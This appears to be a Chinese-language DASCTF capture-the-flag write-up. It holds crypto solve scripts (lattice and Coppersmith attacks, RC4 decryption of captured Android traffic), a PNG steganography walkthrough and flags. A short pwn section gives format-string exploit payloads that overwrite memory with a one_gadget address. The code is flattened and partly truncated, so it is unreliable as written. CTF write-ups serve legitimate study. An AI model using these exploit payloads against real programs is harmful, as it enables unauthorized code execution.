from sage.all import * from Crypto.Util.number import *
n = c =
m = [(1+ZZ(i).jacobi(n))//2for i in c] m = [1-_ for _ in m] m = ''.join(map(str, m)) print(long_to_bytes(int(m, 2))) # DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84}
from Crypto.Util.number import long_to_bytes import itertools import sys
defsmall_roots(f, bounds, m=1, d=None): ifnot d: d = f.degree()
R = f.base_ring() N = R.cardinality()
f /= f.coefficients().pop(0) f = f.change_ring(ZZ)
G = Sequence([], f.parent()) for i in range(m+1): base = N^(m-i) * f^i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g)
factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B*monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return []
n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691 M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322 l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189 c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
for i in [39,40]: for j in [39,40]: print((i,j)) R.<x,y> = PolynomialRing(Zmod(n^2)) P = (x*2^120)*10^i+y Q = (y*2^120)*10^j+x f = n - P*Q root = small_roots(f, (10^130, 10^130), m=3, d=4) if len(root) > 0: #print(root[0]) p,q = root[0] PQ = int(str(p<<120)+str(q)) QP = int(str(q<<120)+str(p)) assert n == PQ * QP PP = next_prime((PQ >> 190) * (QP & (2 ** 190 - 1))) QQ = next_prime((QP >> 190) * (PQ & (2 ** 190 - 1))) N = PP * QQ e = 3 for mp in GF(PP)(c).nth_root(e, all=True): for mq in GF(QQ)(c).nth_root(e, all=True): m = long_to_bytes(crt([ZZ(mp), ZZ(mq)], [PP, QQ])) ifb'DASCTF'in m: print(m) sys.exit()
from Crypto.Util.number import * import gmpy2 from sympy import *
nbit =130 e = 3 n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691 M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322 l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189 c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
x = [1329227995784915872903807060280344576000000000000000000000000000000000000000,13292279957849158729038070602803445760000000000000000000000000000000000000000] pq_ = n//(x[0]*x[1]) x1,x2 = (pq_*x[0])//(x[0]*x[1]), (pq_*x[1])//(x[0]*x[1])
# pq = pq_-x2 # for i in range(200): # PQ = pq+i # x = factor(PQ) # print(i,x) # if len(x) == 2 and int(x[1][0]).bit_length() <= 130: # print(x) # break
# print(PP,QQ,N) P = 3568645677145678186647847767913853195136375094554794216910078595159477139561591230815568312539748091309459843040473 Q = 214068192062555191214464440527253433970199685522983500319669073855320868671968745050948493965230424975401521253723 N = 763933528218428362740063144747893290714655295576768532896029874141179804730143020017430379534079773751531037961074867132893544981605022026151484151321515584652838724809597675412676810669583078026377048734720511960708515190930979
F.<x> = PolynomialRing(Zmod(P)) e = 3 l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189 c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923 f = x^3-c m1 = f.monic().roots()[0][0]
F.<x> = PolynomialRing(Zmod(Q)) e = 3 l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189 c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923 f = x^3-c m2 = f.monic().roots()[0][0]
from Crypto.Util.Padding import pad, unpad import hashlib from sage.all import * from Crypto.Util.number import *
defflatter(M): from subprocess import check_output from re import findall # compile https://github.com/keeganryan/flatter and put it in $PATH z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter"], input=z.encode()) return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))
# ai*k0-bi*ki = ci deffi(i): assert i > 0 r0, s0 = sigs[0] ri, si = sigs[i] h0, hi = hs[0], hs[i] ai = ZZ(s0*ri % q) bi = ZZ(si*r0 % q) ci = ZZ((h0*ri-hi*r0) % q) return ai, bi, ci
# ai*k + bi*(m0 & k) + ci*(mi & k) = di defgi(i): assert i > 0 a1, b1, c1 = fi(1) ai, bi, ci = fi(i) m0, m1, mi = [bytes_to_long(msgs[j]) for j in [0, 1, i]] _ai = (ai - bi) _bi = -2*ai _ci = 2*bi _di = ci - (ai*m0 - bi*mi) return _ai, _bi, _ci, _di
deffunc(): msgs = [pad(msg.encode(), 32) for msg in msgs] hs = [int(hashlib.sha256(msg).hexdigest(), 16) for msg in msgs] A = matrix(ZZ, 256, len(sigs)-2) B = matrix(ZZ, 1, len(sigs)-2) for i in range(len(sigs)-2): m0, m1, mi = [bytes_to_long(msgs[j]) for j in [0, 1, i+2]] ai, bi, ci, di = hi(i+2) B[0, i] = di for j in range(256): z0, z1, zi = [(m >> j) & 1for m in [m0, m1, mi]] A[j, i] = (ai*z0 + bi*z1 + ci*zi)*2**j
K = 2**2048 L = block_matrix(ZZ, [ [1, K*A, 0], [0, K*q, 0], [0, K*B, q] ]) L = flatter(L) for row in L: if abs(row[-1]) == q: print([_.nbits() for _ in row[:256]]) print([_.nbits() for _ in row[256:]]) try: ans = [_ for _ in row[:256]] print(set(ans)) ans = list(map(abs, ans)) key = int(''.join(map(str, ans)), 2) print(long_to_bytes(key)) key = int(''.join(map(str, ans[::-1])), 2) print(long_to_bytes(key)) except Exception as e: print(e)
func() key = b'x01x01x04x04x01x01x13x01x01x01x13x13x13x01x13x13x04x13x13x01SSDDDSDAAAx03x03' tmp = list() cnt = 0 for i in range(len(key)): ki = key[i] now = list() for j inb'DAS': if j | ki == j: now.append(j) tmp.append(now) if len(now) > 1: print(len(now), now) cnt += 1 print(cnt)
r0, s0 = sigs[0] h0 = hs[0] m0 = bytes_to_long(msgs[0]) gk = ZZ(pow(pow(g, h0, p)*pow(y, r0, p), inverse_mod(s0, q), p)) print(gk % q == r0) for t in range(2**12): now_key = list() ind = 0 for i in range(len(tmp)): if len(tmp[i]) == 1: now_key.append(tmp[i][0]) else: now_key.append(tmp[i][(t >> ind) & 1]) ind += 1 now_key = bytes(now_key) k0 = m0^bytes_to_long(now_key) if pow(g, k0, p) == gk: print(now_key) print(b'DASCTF{' + now_key + b'}') # DASCTF{AADDAASAAASSSASSDSSASSDDDSDAAASS}
from Crypto.Util.number import * c=287687761937146187597379915545639385740275457170939564210821293233370716878150576 key=[1, 2, 87, 99, 190, 380, 760, 1702, 3350,......] defdecrypt(c, key): m = [0] * len(key) last= c for i in reversed(range(len(key))): if last>= key[i]: m[i] = 1 last -= int(key[i]) return m m=decrypt(c,key) m= [m[i:i + 8] for i in range(0, len(m), 8)] decoded_string = ''.join(chr(int(''.join(map(str, byte)), 2)) for byte in m) print(decoded_string)
EZshamir
多项式系数较小、低位加噪的SSS,按照多项式形式构造求解lwe即可
from sage.all import * from Crypto.Util.number import * from Crypto.Cipher import AES from hashlib import sha256, md5
defflatter(M): from subprocess import check_output from re import findall # compile https://github.com/keeganryan/flatter and put it in $PATH z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter"], input=z.encode()) return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))
K = 2**(256 - 32) L = block_matrix(ZZ, [ [1, K*matrix(ZZ, [[pow(t, i, p) for i in range(n)] for t, y in shares]).T, 0], [0, K*p, 0], [0, K*matrix(ZZ, [y for t, y in shares]), p] ]) L = flatter(L) for row in L: if abs(row[-1]) == p: print([_.nbits() for _ in row]) coefficient = list(map(abs, row[:n])) key = "".join([str(i) for i in list(coefficient)[1:]]) key = md5(key.encode()).digest() print(key) aes = AES.new(key = key, mode = AES.MODE_ECB) pt = aes.decrypt(long_to_bytes(ct)) print(pt) # DASCTF{3617af36-7869-6939-3a09-bb8038aea171}
REVERSE
BabyAndroid
附件给了http数据包,首先想到给app抓包分析
发现固定的host为 yuanshen.com,猜测与request请求有关
读取sex.jpg的数据进行rc4
defrc4_decrypt(key, ciphertext): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i]
i = 0 j = 0 plaintext = bytearray()
for byte in ciphertext: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] plaintext.append(byte ^ K)
return plaintext
key = [0x44,0x41,0x53,0x43,0x54,0x46] #DASCTF ciphertext = [0xb5,0xfc,0xd6,0xc1,0xb0,0x94,0xbf,0x2f,0x05,0x31,0xec,0x0e,0x81,0x34,0xe0,0x9a,0xb3,0xdb,0xd1,0x86,0x3e,0x01,0x4f,0xa9,0x9c,0x15,0x7c,0x4f,0xad,0xef,0x6c,0xcf,0xcb,0xe2,0x0e,0xaa,0xb7,0x99,0xac,0x92,0xd9,0x46,0x5c,0xb1,0x9e,0x68,0xbd,0x7f,0x89,0x28,0xe3,0xcc,0xda,0x97,0xce,0x37,0x17,0xed,0x24,0x5f,0x35,0xf2,0xc0,0x96,0xf7,0x20,0xd3,0x3e,0x36,0xb0,0x18,0xda,0x7b,0x49,0x7a,0x90,0xb6,0xcc,0xe6,0x63,0x57,0x6f,0x46,0x6d,0x34,0x1e,0x44,0x08,0x60,0x19,0x03,0x9a,0x30,0x8e,0x9e,0x28,0x1e,0x7e,0xb3,0x22,0xbc,0x0b,0x13,0xac,0x1a,0x23,0xb5,0x6f,0xe7,0xf4,0x71,0x08,0xef,0xcd,0xcd,0x17,0x82,0x99,0x53,0x4d,0x35,0xa8,0xe8,0x62,0xc8,0x7b,0x59,0x96,0xf2,0x10,0x53,0x84,0xf3,0xa6,0x1a,0x3d,0x1f,0x54,0x64,0xbd,0x5a,0x15,0xc5,0x76,0x1c,0xc1,0xfe,0x56,0x1f,0xde,0x56,0x49,0x1d,0xec,0x92,0xf1,0x3f,0x19,0xb5,0x1e,0xe6,0x9c,0x14,0x2b,0xa6,0xd7,0x7c,0x45,0xf1,0xd3,0x3c,0x17,0x69,0x9b,0x57,0xf4,0x1f,0x2e,0xa5,0x3d,0x7c,0x10,0xec,0xf5,0x03,0x9c,0x2f,0x29,0x3a,0x38,0x4c,0x6f,0x32,0xe8,0xce,0x3f,0x2e,0xf0,0x21,0xaf,0x8b,0x99,0xa3,0x62,0x43,0x43,0x15,0xde,0xf9,0xd8,0xea,0x30,0x21,0x22,0x21,0x0a,0x3f,0x94,0x1e,0x3e,0x69,0x55,0x0a,0x8d,0x31,0x88,0x0a,0xcf,0xd3,0x5b,0x4a,0x16,0x23,0x5c,0x35,0xfe,0xef,0x17,0xc7,0xff,0xaf,0x40,0x2e,0x1c,0xb1,0x77,0x9e,0x4c,0x42,0x28,0xc9,0x33,0x79,0x9b,0xb9,0xf8,0xe9,0xf2,0xec,0x3f,0x41,0x49,0x5e,0x9d,0x72,0x83,0xcc,0xcd,0xd8,0xb6,0xdf,0x53,0xfd,0x74,0x74,0x64,0xe9,0x49,0x26,0x22,0x92,0x95,0xb4,0x30,0x1f,0xac,0x2c,0xab,0x13,0xfa,0x99,0xa4,0x22,0x27,0xf0,0x41,0xd2,0xa1,0x03,0xbe,0xdb,0x7a,0x25,0xfe,0x99,0x73,0x6f,0x65,0x8c,0x35,0x40,0x4f,0xbb,0x79,0x4a,0x2d,0xce,0xd0,0xa0,0x80,0xf7,0x3f,0xa9,0xdc,0xd2,0xfb,0x70,0xb4,0xb0,0x87,0x3f,0x6e,0xe0,0x84,0x75,0xe9,0xc7,0x10,0x88,0xa2,0xa4,0x58,0x7f,0x8b,0xa0,0x84,0xbb,0x4d,0x0b,0x96,0x37,0x9d,0xcd,0xad,0x2e,0x1c,0x03,0x88,0x3e,0x87,0x8c,0x1c,0x4b,0x59,0x77,0x9c,0x46,0x51,0x95,0x4b,0x77,0xef,0x70,0x29,0x5c,0xad,0x1e,0x11,0x21,0x44,0xd7,0x39,0x63,0xf8,0x3a,0x61,0x6e,0xdd,0x01,0x2a,0x96,0x26,0xec,0xbf,0x79,0x63,0x30,0x83,0x13,0x76,0x48,0x4c,0xe3,0x20,0x43,0x09,0xce,0x4c,0x1c,0xe3,0x4d,0x6a,0x3b,0xc4,0x83,0x3f,0x72,0x60,0xc3,0xeb,0xa5,0x52,0x97,0x69,0xdf,0xe6,0xe8,0xc0,0x87,0x2b,0x55,0x08,0x25,0xcc,0xb5,0xd3,0x6f,0xdf,0xce,0x27,0xc6,0x18,0x6b,0x86,0x49,0x51,0xe9,0x8d,0x38,0xed,0x71,0x9c,0xcc,0x1a,0xac,0x00,0x5f,0x6e,0xed,0x27,0x00,0xb4,0xc4,0x1e,0xba,0xd1,0x87,0x22,0xce,0x5c,0x23,0xc7,0x3f,0x46,0xaa,0x25,0x15,0x62,0xa9,0x43,0x41,0xb1,0x32,0xae,0x8d,0x07,0x1f,0xe8,0x3b,0x70,0xd2,0x22,0x7b,0x3e,0xc3,0x4b,0x20,0x34,0x14,0xe8,0x89,0x99,0x23,0x25,0x1e,0x92,0x91,0x96,0xf5,0x22,0xb9,0x9c,0x1c,0x3d,0x02,0xa1,0xb9,0xb0,0x9b,0x86,0x5c,0x9a,0x29,0x80,0x2f,0xd9,0x93,0x7d,0xe3,0xd7,0xee,0x8d,0x42,0xeb,0x5a,0xc1,0xab,0x7f,0x19,0xe0,0x87,0xbf,0x4e,0x8c,0x39,0xb6,0x96,0x45,0x2e,0xa2,0x12,0xb0,0xe1,0x7a,0xc4,0xf3,0x67,0xd8,0x0f,0x1d,0x83,0x11,0xaf,0x5b,0x0a,0x98,0x69,0x06,0x7f,0xfd,0xdb,0xc1,0x0c,0x44,0xed,0x62,0x75,0xf5,0xe3,0x70,0x5d,0x19,0x55,0x15,0x5f,0xb7,0xdf,0x92,0xfe,0x28,0xeb,0x9c,0x1a,0x22,0xdf,0xec,0x98,0xd6,0xc2,0x62,0x5e,0x74,0xd3,0x47,0x16,0xf4,0x4f,0xa3,0xdb,0x22,0x41,0xe8,0x7e,0x46,0x23,0x16,0xab,0x2c,0x74,0x47,0x67,0xcd,0x08,0x27,0x87,0x07,0xb3,0x3f,0xe5,0x32,0x11,0x05,0xeb,0x67,0xa7,0x64,0xd1,0x30,0xca,0x8e,0xe9,0x7f,0x38,0x81,0x7a,0x5f,0x2b,0x2b,0x11,0x29,0xb9,0x8d,0x9a,0xc7,0x90,0xaf,0xcd,0x5c,0xef,0x1b,0x1a,0xf9,0x5b,0xb5,0x5a,0xf6,0xc3,0x09,0x3c,0x71,0x30,0x2e,0x3a,0x06,0xda,0xaf,0x05,0x36,0x73,0xa1,0x19,0xcf,0x51,0xb2,0x15,0x39,0xe2,0x02,0xa5,0x76,0xb4,0x4a,0xba,0x69,0x5a,0x3e,0x89,0xc7,0x73,0xb3,0x3e,0x64,0xbb,0xd0,0xb1,0x8a,0xd1,0x17,0x0d,0x0c,0xf2,0x1b,0xf8,0x26,0xa1,0xc7,0xd6,0x83,0xe1,0x2b,0xf5,0x7c,0x4e,0x3e,0x5f,0x91,0x8c,0xa2,0x2d,0xc6,0x96,0xf2,0xd8,0x4a,0x52,0x58,0x25,0x2d,0x83,0x3c,0xd2,0x5e,0xf5,0xe2,0x1c,0xc0,0x93,0x06,0x4d,0x2c,0x38,0x02,0x66,0x56,0xd9,0x92,0x85,0x32,0x38,0xff,0xb8,0xaf,0x0b,0x35,0xad,0x28,0x80,0x7e,0xf0,0x8d,0x11,0xec,0x5b,0xfc,0x92,0xa1,0x17,0x35,0x1a,0x29,0x37,0x58,0x28,0x3c,0x0a,0xad,0xbc,0x6b,0xad,0x73,0xe0,0xa0,0xa4,0x11,0xbb,0x59,0xef,0x4a,0x48,0x49,0x09,0x9f,0x8c,0xb3,0xb8,0x70,0x95,0x1d,0x82,0x90,0x74,0xfe,0x57,0xd3,0xb4,0xce,0xd8,0xe0,0x20,0xb6,0x67,0x34,0x40,0x55,0x58,0x27,0x5f,0x3a,0x48,0xf6,0x52,0x6c,0xc3,0x29,0x20,0xe7,0xd3,0xef,0x4f,0x5a,0x50,0xa0,0x40,0x87,0x3e,0xcb,0xbd,0xce,0x8b,0x67,0x35,0x4f,0x34,0x74,0xb4,0x73,0x82,0x11,0x3c,0x75,0xb5,0x1d,0x2e,0xdd,0x4d,0x18,0xf3,0x48,0x10,0x4c,0x24,0x22,0x68,0x82,0xd6,0xb0,0xc3,0x72,0x74,0x1a,0xff,0x45,0x3e,0x30,0x84,0x14,0xea,0x43,0x64,0x93,0x83,0x85,0x10,0x92,0x6f,0x0d,0xda,0x8e,0xc1,0xde,0x08,0xdd,0x91,0xae,0xc1,0x76,0x17,0x69,0x46,0x5b,0xdc,0xc7,0x38,0x85,0x35,0xe6,0x43,0x01,0xf3,0x73,0xda,0xf5,0xe3,0xf3,0xa5,0x7f,0xa9,0xa6,0x6f,0xb6,0xa2,0x7c,0x1d,0x9c,0xf1,0xc7,0x09,0x43,0x39,0xf8,0x66,0x4e,0x4a,0xba,0x2d,0x64,0x69,0x40,0x62,0xa0,0x35,0x39,0xac,0xec,0x74,0xf5,0x2b,0xb0,0xde,0x30,0x52,0x69,0xf9,0x87,0xe0,0xf5,0xf1,0x47,0xe2,0xc4,0x28,0x06,0x10,0x3d,0x96,0x70,0xab,0xd7,0x7a,0x8e,0x0f,0x5c,0x2f,0x3d,0x73,0xe0,0x20,0x01,0xea,0x7b,0xd6,0xc2,0x5a,0x9e,0xaf,0x52,0xb9,0x60,0xc5,0xbb,0xc4,0xde,0x99,0xbd,0xc9,0x18,0xa4,0x60,0xe9,0x00,0x86,0x41,0xda,0x85,0x46,0x0d,0x4a,0x9a,0xf0,0x93,0x9c,0x18,0x27,0xeb,0xf7,0x4d,0x46,0x00,0xe1,0xfd,0x64,0xc3,0x96,0xbc,0x60,0x68,0x29,0x14,0xb6,0xba,0xfc,0xfc,0xe9,0xac,0x65,0x82,0x47,0xb3,0x65,0x15,0xca,0xfd,0x8d,0x19,0x8c,0xfe,0xd9,0x83,0x2e,0x11,0xe7,0x42,0x53,0xb0,0xa2,0x61,0xbb,0xc5,0x70,0x3d,0xa8,0xbc,0x3b,0x65,0x4a,0x50,0xc2,0x5a,0x0d,0xd5,0xf2,0x84,0x0d,0x17,0x15,0x64,0x3d,0x82,0x7a,0x75,0x4e,0xa8,0xe1,0xf4,0x54,0x54,0x19,0xf6,0x99,0x42,0x97,0x93,0xce,0x78,0x2c,0x1e,0xf4,0x87,0x90,0xbf,0x72,0x60,0x01,0x0a,0x35,0x66,0xfa,0xcd,0x64,0x16,0x42,0x58,0x32,0xa5,0x4a,0xe4,0x6d,0x18,0x72,0xe1,0x5f,0x3c,0xe5,0x41,0x9d,0xba,0xdc,0x1e,0xe7,0x67,0x90,0x9d,0xfa,0xce,0x05,0x50,0x7b,0x85,0x32,0xd7,0x21,0x8c,0x78,0xcb,0x13,0x8a,0x92,0x55,0x56,0xf2,0x85,0xa4,0xac,0xcd,0x17,0xd3,0x27,0xd4,0x0a,0xd9,0x83,0xcf,0xfa,0x6d,0x6d,0x87,0xe8,0x9a,0xeb,0xaa,0x51,0x10,0xb4,0x9c,0x16,0xc5,0xaa,0x82,0x5c,0xfa,0x41,0x52,0x51,0xff,0x02,0xbe,0xb6,0xe7,0x0c,0xb3,0x9e,0x43,0xd4,0x2b,0x27,0x81,0xdb,0xcd,0x6f,0x4b,0xb7,0x5e,0x17,0x6a,0xd8,0x56,0xdc,0x34,0x9a,0x25,0x1b,0x7c,0x3a,0xb6,0x06,0x8e,0xc5,0x44,0x92,0x2a,0xbe,0xf2,0x3e,0xe5,0x7a,0x2b,0x20,0x36,0x4d,0x42,0xc2,0x08,0x05,0xf3,0x95,0x2f,0xfd,0x59,0xfe,0x31,0x71,0x2c,0x98,0xc7,0x3c,0x55,0xc9,0x9e,0xab,0x8e,0x35,0xd3,0x9f,0x2b,0x7f,0xf8,0x64,0x5a,0x19,0xf3,0xf7,0x46,0xb3,0xac,0xe8,0x2e,0x7f,0x30,0x85,0xd8,0x54,0xe2,0xbf,0x64,0xd6,0xff,0x97,0x80,0xe4,0xb8,0x4c,0xb4,0x97,0x2f,0x78,0x27,0x70,0xc6,0xbf,0x9a,0x53,0x33,0x19,0xfa,0xb0,0x14,0x3e,0x66,0xc3,0x21,0x16,0x81,0xe7,0xbc,0x05,0x12,0x83,0x59,0xe8,0x50,0xa9,0x0e,0x56,0x56,0xcd,0x68,0x37,0x60,0x67,0x13,0x27,0x30,0x2c,0x36,0xcd,0x53,0xde,0x13,0xd4,0xaf,0x70,0x74,0x41,0x83,0xbd,0xc4,0x0e,0x3c,0xac,0x54,0xe1,0xb1,0x2f,0x0c,0x54,0x95,0x90,0x6c,0xd7,0x08,0xb6,0x0e,0x41,0x76,0x6e,0xa4,0xab,0x91,0xd0,0x86,0xcb,0x02,0xca,0x29,0x1a,0xdc,0x10,0x7b,0x44,0x3f,0x5d,0xf2,0xc7,0xf3,0x0d,0x0f,0x12,0x40,0x16,0xf7,0x0d,0x77,0xb4,0x30,0xa3,0x7a,0xa7,0x4d,0xf1,0xb0,0x22,0x03,0xe5,0x76,0x0c,0xa2,0xc6,0x29,0x81,0xba,0x80,0x0a,0x8f,0x29,0x41,0x7c,0xb6,0x05,0x3d,0x18,0x84,0x66,0xe9,0x62,0x13,0x77,0x65,0x3a,0x26,0xf4,0xcf,0x26,0xbf,0x96,0xd7,0x4d,0x47,0xb4,0x03,0x5b,0x39,0x17,0x9e,0x33,0xce,0xc1,0xd6,0x24,0x2c,0x9c,0xfa,0x30,0xd8,0xa4,0xc8,0x80,0x50,0xb5,0xc4,0x33,0x62,0xac,0xe1,0x87,0x42,0xfa,0x11,0xc6,0xec,0x7b,0x3e,0x05,0x6a,0x5f,0xc2,0x27,0x3b,0x01,0x52,0xf4,0x5a,0xef,0xa8,0xee,0xa9,0x23,0xd4,0x0b,0x30,0xd2,0xeb,0x0c,0x40,0x69,0xdd,0x9b,0x91,0x85,0x64,0x9e,0x4e,0x6a,0x39,0xe9,0xea,0xc9,0x55,0xa5,0xd4,0x58,0xeb,0x3d,0x8e,0x8f,0x24,0x39,0x9e,0x8d,0xf3,0x19,0xfa,0x8c,0xad,0x39,0x18,0xde,0x11,0x34,0x05,0x4a,0xa3,0x58,0xba,0x84,0x46,0x67,0x30,0x86,0xb8,0x59,0x25,0xa8,0x24,0xec,0x9d,0xad,0x94,0xab,0xee,0xda,0xce,0x74,0xe9,0xc9,0x53,0x18,0x28,0x28,0x22,0x86,0x89,0x3d,0x39,0xe8,0xb5,0x0e,0xa3,0xa3,0xc4,0xa7,0x26,0x65,0xf2,0x98,0x5b,0x63,0x43,0x90,0x23,0xe0,0x95,0x59,0xcf,0x21,0xb5,0xd7,0x81,0xb3,0xdb,0x39,0xaa,0x63,0x46,0xdb,0x2a,0x56,0x64,0x56,0xa5,0x9a,0x39,0x60,0xea,0x59,0x8c,0xe8,0xa6,0x15,0x8a,0x70,0x28,0xd4,0x3c,0xdd,0xee,0x98,0x14,0x77,0xd8,0x50,0x43,0x05,0x39,0x1a,0x5a,0xfa,0x94,0x01,0x62,0xc3,0x24,0xf4,0xab,0x42,0xd9,0xe4,0x03,0x4d,0x4f,0xf7,0x9b,0xee,0x96,0xe2,0x7f,0xb4,0x60,0xdf,0x54,0x54,0x22,0x8c,0xb4,0xb5,0xa9,0x20,0xe9,0x43,0xcd,0x85,0x3a,0x86,0x3e,0xb6,0xcd,0x99,0xaa,0x9e,0x2d,0x69,0x9d,0xae,0x70,0xb3,0xb7,0x07,0x6e,0x5e,0x56,0x1f,0xa0,0x3d,0x65,0xa7,0x72,0x46,0xf9,0x94,0xe4,0xac,0x45,0x83,0x5d,0xa6,0x4b,0x03,0x68,0xb0,0xf8,0xed,0x37,0x30,0xbe,0xe5,0x84,0x6b,0xd4,0xbc,0x8c,0x79,0x43,0x08,0x20,0x4f,0x6b,0x5a,0x3c,0xcd,0x7d,0x99,0x80,0xe4,0xcb,0xda,0x2b,0x99,0x5d,0x39,0x14,0x1c,0x07,0xab,0x2a,0xd9,0x39,0x50,0xc0,0x04,0x48,0x35,0xd2,0x10,0xe5,0x67,0x7d,0x61,0xa1,0x68,0xbd,0x57,0x40,0xa1,0xd1,0xc8,0x9c,0x31,0x49,0x2d,0xe6,0x37,0x0f,0xaf,0x67,0x96,0xfa,0xb7,0xdd,0xfc,0xeb,0x56,0xd3,0x80,0x53,0xfc,0x09,0xe0,0x2d,0x2b,0x7a,0xed,0x7c,0x64,0x05,0xb0,0xd1,0x21,0x8f,0x85,0xcd,0x06,0x58,0x98,0x1e,0xe1,0xd5,0x71,0xc1,0x96,0x96,0xb9,0x3f,0xef,0x33,0xac,0x23,0xfa,0x7c,0x89,0xd7,0xc6,0xb7,0xe3,0x1c,0x51,0xb7,0xef,0xcf,0x6d,0x2a,0x74,0x21,0x13,0xa7,0xc3,0x7b,0x24,0xea,0x25,0xc4,0xe5,0x13,0x2d,0xa6,0x6f,0xe8,0xd0,0x8c,0xbb,0x75,0x1f,0x24,0x1d,0xd2,0x75,0xc4,0x62,0x46,0x95,0x4c,0xb9,0xe1,0x68,0x6a,0x69,0xfa,0x51,0xf2,0x4d,0x92,0x52,0xa7,0x83,0x9c,0x34,0x22,0x65,0xc8,0x43,0xba,0x8d,0xb9,0xcb,0x69,0x04,0xe8,0xd2,0xf6,0xe4,0xa7,0x15,0xc9,0x5b,0x79,0x65,0xe1,0xf2,0x06,0x06,0x0f,0xac,0x3b,0xe0,0x40,0x8d,0x45,0x34,0x22,0xa8,0x68,0xda,0xe2,0xe8,0x2e,0xc1,0x3c,0xd3,0x32,0xb8,0x25,0x98,0x1f,0x9f,0xcf,0xe0,0xd3,0xf4,0x11,0x19,0x15,0x9e,0x1a,0xb8,0xa3,0xb2,0x4c,0x8a,0x04,0x80,0x39,0x52,0x85,0xb7,0xec,0xab,0x57,0x4f,0xcb,0xa9,0x63,0x46,0x94,0xb0,0xfe,0x21,0x96,0xa0,0xeb,0x31,0xc7,0xdd,0xd5,0xcd,0xfe,0x48,0x7b,0x84,0xc2,0x77,0x8c,0x21,0x0d,0x8f,0x16,0xe4] # Replace with your ciphertext as a byte array
sla('Please enter a keywordn','%'+str(stack1&0xffff)+'c%11$hn') sla('Please enter a keywordn','%'+str(og&0xffff)+'c%37$hn') sla('Please enter a keywordn','%'+str((stack1+2)&0xffff)+'c%11$hn') sla('Please enter a keywordn','%'+str((og>>16)&0xff)+'c%37$hhn') it() DASCTF{6e2f9ecb-e383-4df4-8b77-017cd655b37b}
非栈上格式化字符串
DASCTF{6e2f9ecb-e383-4df4-8b77-017cd655b37b}
MISC
png_master
考察你对于png的理解
Assess your understanding of PNG
文件尾解base64
Congratulations on finding the first paragraph of flag, but the understanding of png is just beginning.
flag1:DASCTF{2fd9e9ff-e27
仔细看图片,可以发现
每4个像素一组,有一组是A通道比较明显的
拆成四个图片再读取也行,直接上stegsolve读取也行
d-5405-c5f5-
zsteg会提示png最后有额外块
789c也是zlib的标志头
from PIL import Image image = Image.open('flag.png') image.save('copy.png')
评论